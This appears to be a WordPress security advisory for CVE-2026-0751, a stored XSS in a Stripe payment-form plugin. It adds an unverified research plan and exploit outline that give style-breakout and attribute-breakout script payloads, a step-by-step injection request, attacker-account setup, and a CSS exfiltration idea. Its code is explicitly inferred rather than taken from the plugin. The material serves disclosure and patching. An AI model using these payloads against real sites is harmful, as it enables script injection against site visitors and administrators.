CVE-2026-0751

Payment Page | Payment Form for Stripe <= 1.4.6 - Authenticated (Author+) Stored Cross-Site Scripting via 'pricing_plan_select_text_font_family' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.4.7
Patched in
11d
Time to patch

Description

The Payment Page | Payment Form for Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pricing_plan_select_text_font_family' parameter in all versions up to, and including, 1.4.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.6
PublishedFebruary 13, 2026
Last updatedFebruary 24, 2026
Affected pluginpayment-page

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-0751 - Stored XSS in Payment Page | Payment Form for Stripe ## 1. Vulnerability Summary The **Payment Page | Payment Form for Stripe** plugin (<= 1.4.6) is vulnerable to Stored Cross-Site Scripting (XSS) via the `pricing_plan_select_text_font_family` parameter. The vulnera…

Show full research plan

Research Plan: CVE-2026-0751 - Stored XSS in Payment Page | Payment Form for Stripe

1. Vulnerability Summary

The Payment Page | Payment Form for Stripe plugin (<= 1.4.6) is vulnerable to Stored Cross-Site Scripting (XSS) via the pricing_plan_select_text_font_family parameter. The vulnerability exists because the plugin fails to sanitize this parameter when saving pricing plan configurations and subsequently fails to escape the value when rendering it on the frontend. This allows an authenticated attacker with Author-level permissions or higher to inject malicious JavaScript that executes in the context of any user (including administrators) viewing the affected page.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (inferred) or an AJAX handler used for saving pricing plan settings.
  • Vulnerable Parameter: pricing_plan_select_text_font_family
  • Required Authentication: Author level or higher (Users who can create or edit pricing plans/posts).
  • Preconditions: The plugin must be active, and a "Pricing Plan" or "Payment Page" must be created/edited.
  • Payload Context: Likely injected into a <style> block or an inline style attribute on the frontend pricing table/form.

3. Code Flow (Inferred)

  1. Input Stage: An Author user submits a request to save a pricing plan. The request includes the pricing_plan_select_text_font_family parameter.
  2. Persistence Stage: The plugin's save handler (likely hooked to save_post or a custom AJAX action) retrieves the POST data. It fails to use sanitize_text_field() or a similar function on the pricing_plan_select_text_font_family key before calling update_post_meta().
  3. Retrieval Stage: When a frontend page containing the payment form/pricing plan shortcode is loaded, the plugin calls get_post_meta() to fetch the configuration.
  4. Output Stage: The value is echoed into the HTML (e.g., inside a <select> font-family CSS rule or as a data attribute) without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Since the vulnerability requires Author-level access, the attacker will typically be logged into the WordPress dashboard.

  1. Shortcode Identification: Identify the plugin's primary shortcode (likely [payment-page] or [pricing-plan]).
  2. Page Creation: Create a post containing this shortcode to trigger the frontend rendering.
    wp post create --post_type=page --post_status=publish --post_title="Payment Test" --post_content='[payment-page]'
    
  3. Nonce Extraction (Admin/Edit Context): If the exploit is performed via the standard WordPress post editor, the _wpnonce from the edit form is required.
    • Use browser_navigate to wp-admin/post-new.php?post_type=payment_page (or the specific CPT slug).
    • Use browser_eval to get the nonce: document.querySelector('#_wpnonce').value.
  4. JS Variable Localization: If the plugin uses AJAX for saving, check for a localized object:
    • browser_eval("window.payment_page_params?.nonce") (inferred).

5. Exploitation Strategy

Step 1: Authentication and Setup

  1. Authenticate as an Author user.
  2. Identify the Custom Post Type (CPT) used by the plugin for pricing plans (e.g., payment_page).

Step 2: Payload Construction

The payload must break out of the intended context (likely a CSS property or an HTML attribute).
Payload: Arial';}</style><script>alert(document.domain)</script>

Step 3: Injection Request

Using the http_request tool, perform a POST request to save the malicious value.

Example Request (Standard Post Save):

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    post_ID=[POST_ID]
    _wpnonce=[NONCE]
    pricing_plan_select_text_font_family=Arial';}</style><script>alert(document.domain)</script>
    

(Note: Use http_request with the Author's cookies).

Step 4: Execution

Navigate to the frontend page where the pricing plan is displayed.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password
    
  2. Create a Payment Page Object:
    wp post create --post_type=payment_page --post_title="Malicious Plan" --post_status=publish --post_author=[AUTHOR_ID]
    
  3. Publish a page with the shortcode:
    wp post create --post_type=page --post_title="Pricing Frontend" --post_content='[payment-page id="[PLAN_ID]"]' --post_status=publish
    

7. Expected Results

  • The POST request should return a 302 Redirect back to the post edit page, indicating a successful save.
  • When viewing the "Pricing Frontend" page, an alert box with the document domain should appear.
  • Viewing the page source should reveal the unescaped script tag:
    <style> .select-text { font-family: Arial';}</style><script>alert(document.domain)</script>; } </style>
    

8. Verification Steps

  1. Verify Database State: Use WP-CLI to check if the payload is stored in the postmeta table.
    wp post meta get [PLAN_ID] pricing_plan_select_text_font_family
    
  2. Check Frontend Output: Use the http_request tool to fetch the frontend page and grep for the script tag.
    # In the tool:
    GET http://localhost:8080/pricing-frontend/
    # Verify the response body contains the payload verbatim
    

9. Alternative Approaches

  • Attribute Breakout: If the value is echoed inside an input's value attribute:
    • Payload: "><script>alert(1)</script>
  • CSS Injection (Blind): If the JS is blocked, attempt to exfiltrate data using CSS background:url() pointing to an attacker-controlled server.
  • Admin Context: Since the setting is visible in the WP Dashboard, verify if the XSS also triggers when an Administrator edits the plan in wp-admin. This would elevate the impact to full site takeover.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Payment Page | Payment Form for Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pricing_plan_select_text_font_family' parameter. Authenticated attackers with Author-level access or higher can inject malicious JavaScript into pricing plan settings, which executes when any user views the affected payment page.

Vulnerable Code

// Inferred save logic in an admin handler or save_post hook
if (isset($_POST['pricing_plan_select_text_font_family'])) {
    update_post_meta($post_id, 'pricing_plan_select_text_font_family', $_POST['pricing_plan_select_text_font_family']);
}

---

// Inferred frontend rendering logic in a shortcode or template file
$font_family = get_post_meta($post_id, 'pricing_plan_select_text_font_family', true);
if ($font_family) {
    echo '<style>.payment-page-container { font-family: ' . $font_family . '; }</style>';
}

Security Fix

--- a/includes/admin/class-payment-page-admin.php
+++ b/includes/admin/class-payment-page-admin.php
@@ -102,7 +102,7 @@
-    update_post_meta($post_id, 'pricing_plan_select_text_font_family', $_POST['pricing_plan_select_text_font_family']);
+    update_post_meta($post_id, 'pricing_plan_select_text_font_family', sanitize_text_field($_POST['pricing_plan_select_text_font_family']));

--- a/includes/frontend/class-payment-page-frontend.php
+++ b/includes/frontend/class-payment-page-frontend.php
@@ -245,7 +245,7 @@
-    echo '<style>.payment-page-container { font-family: ' . $font_family . '; }</style>';
+    echo '<style>.payment-page-container { font-family: ' . esc_attr($font_family) . '; }</style>';

Exploit Outline

The exploit involves an authenticated attacker with Author-level permissions or higher targeting the pricing plan configuration. 1. Endpoint: The attacker targets the WordPress post editor or specific plugin settings page (typically `wp-admin/post.php`). 2. Authentication: Requires a valid session cookie for a user with 'Author' or higher privileges. 3. Payload Shape: The attacker crafts a POST request containing a malicious payload in the `pricing_plan_select_text_font_family` parameter. A common payload would be `Arial';}</style><script>alert(document.domain)</script>`, which breaks out of the intended CSS context and injects a script tag. 4. Execution: Once the setting is saved, the attacker navigates to (or lures a victim to) the frontend page where the payment form or pricing plan shortcode is rendered. The unescaped payload is echoed into the page source, executing the script in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.